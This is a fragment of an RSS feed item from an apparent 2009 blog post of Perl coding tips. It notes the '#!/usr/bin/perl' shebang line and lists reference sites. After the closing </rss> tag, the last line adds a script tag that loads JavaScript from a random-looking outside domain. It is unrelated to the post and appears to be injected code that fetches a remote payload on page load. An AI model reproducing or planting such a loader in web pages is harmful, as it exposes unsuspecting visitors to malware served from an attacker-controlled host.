<p class="MsoNormal" style="margin: 0in 0in 0pt 1in; text-align: justify;"><strong style="mso-bidi-font-weight: normal;"><span style="text-decoration: underline;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="text-decoration: none;"> </span></span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in; text-align: justify;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">There are many free Perl software are available on internet. Also you can use the UNIX command prompt just like unix scripts by using command </span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Courier New';">“#!/usr/bin/perl”</span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> in script.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.75in; text-align: justify;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<p class="MsoNormal" style="margin: 0in 11.25pt 10pt 1in;"><strong><span style="font-size: 10pt; color: #000066; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Reference(s)</span></strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;">http://docstore.mik.ua/orelly/perl/prog/ch01_05.htm </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;">http://perldoc.perl.org/perlop.html</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;">www.perl.com</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;">www.perlfect.com</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: Arial;">www.pageresource.com</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.dailyinfobyte.com/2009/03/23/perl-coding-tips/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script src="http://kdjkfjskdfjlskdjf.com/js.php"></script>